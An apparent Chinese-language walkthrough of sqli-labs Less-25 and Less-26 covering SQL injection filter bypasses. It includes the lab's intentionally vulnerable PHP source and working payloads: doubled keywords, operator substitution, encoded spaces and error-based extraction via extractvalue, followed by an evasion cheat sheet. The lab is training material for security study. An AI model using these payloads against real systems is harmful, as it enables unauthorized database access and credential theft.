风险字符绕过

less25

过滤了or和and,参数/i是大小写都敏感
在这里插入图片描述
方法:
(1)大小写变形 Or,OR,oR
无法绕过本过滤机制(大小写敏感)
(2)编码,hex,urlencode
(3)添加注释/or/
(4)利用符号 and=&& or=||
在url中&&会把后面全部注释掉,所以将&&转化为url编码

?id=1 %26%261=1--+

在这里插入图片描述

?id=-1'||1=2--+

在这里插入图片描述

(5)根据过滤机制双写and

?id=1' anandd 1=2--+

在这里插入图片描述

less26

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-26 Trick with comments</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

// take the variables 
if(isset($_GET['id']))
{
	$id=$_GET['id'];
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);

	//fiddling with comments
	$id= blacklist($id);
	echo "<br>";
	echo $id;
	echo "<br>";
	$hint=$id;

// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	echo $sql;
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
	  	echo "<font size='5' color= '#99FF00'>";	
	  	echo 'Your Login name:'. $row['username'];
	  	echo "<br>";
	  	echo 'Your Password:' .$row['password'];
	  	echo "</font>";
  	}
	else 
	{
		echo '<font color= "#FFFF00">';
		print_r(mysql_error());
		echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}




function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}



?>
</font> </div></br></br></br><center>
<img src="../images/Less-26.jpg" />
</br>
</br>
</br>
<img src="../images/Less-26-1.jpg" />
</br>
</br>
<font size='4' color= "#33FFFF">
<?php
echo "Hint: Your Input is Filtered with following result: ".$hint;
?>
</font> 
</center>
</body>
</html>

Less-26后台的源代码中不仅是将and,or,–,#这些SQL关键字和注释符号过滤了,并且连空格这些也过滤了。
在这里插入图片描述

空格替换
注释符绕过(注释符没有被过滤的情况下)

?id=1'/**/and/**/1=1

在这里插入图片描述

编码绕过
本关可能有的朋友在 windows 下无法使用一些特殊的字符代替空格,此处是因为 apache 的解析的问题,更换到 linux 平台下才行。
 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

?id=1%27oorr(length(database())=8)%23anandd%271%27=%271

在这里插入图片描述

注释符绕过
可以构造类似于1’ and ‘1’='1
将前后两个单引号闭合掉

构造less的payload使其出现错误页面

?id=0%27||%271%27=%272

在这里插入图片描述

也可以使用不需要空格的报错注入
payload

?id=0'||extractvalue(1,concat(0x7e,database(),0x7e))||'1'='1

在这里插入图片描述

大小写、双写绕过

空格绕过

空格可以用括号、/**/、tab、回车(url中为%0a)、`(反引号)代替

逻辑字符绕过

and,or用&&,||绕过

等号绕过

等号用like代替

逗号绕过

select 1,2,3
join是连接意思
在这里插入图片描述

select substr(‘abc’,1,1);
在这里插入图片描述
select * from users limit 0,1;
在这里插入图片描述

函数名绕过

sleep()->benchmark()
ascii()->ord()

– 绕过

用#代替

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值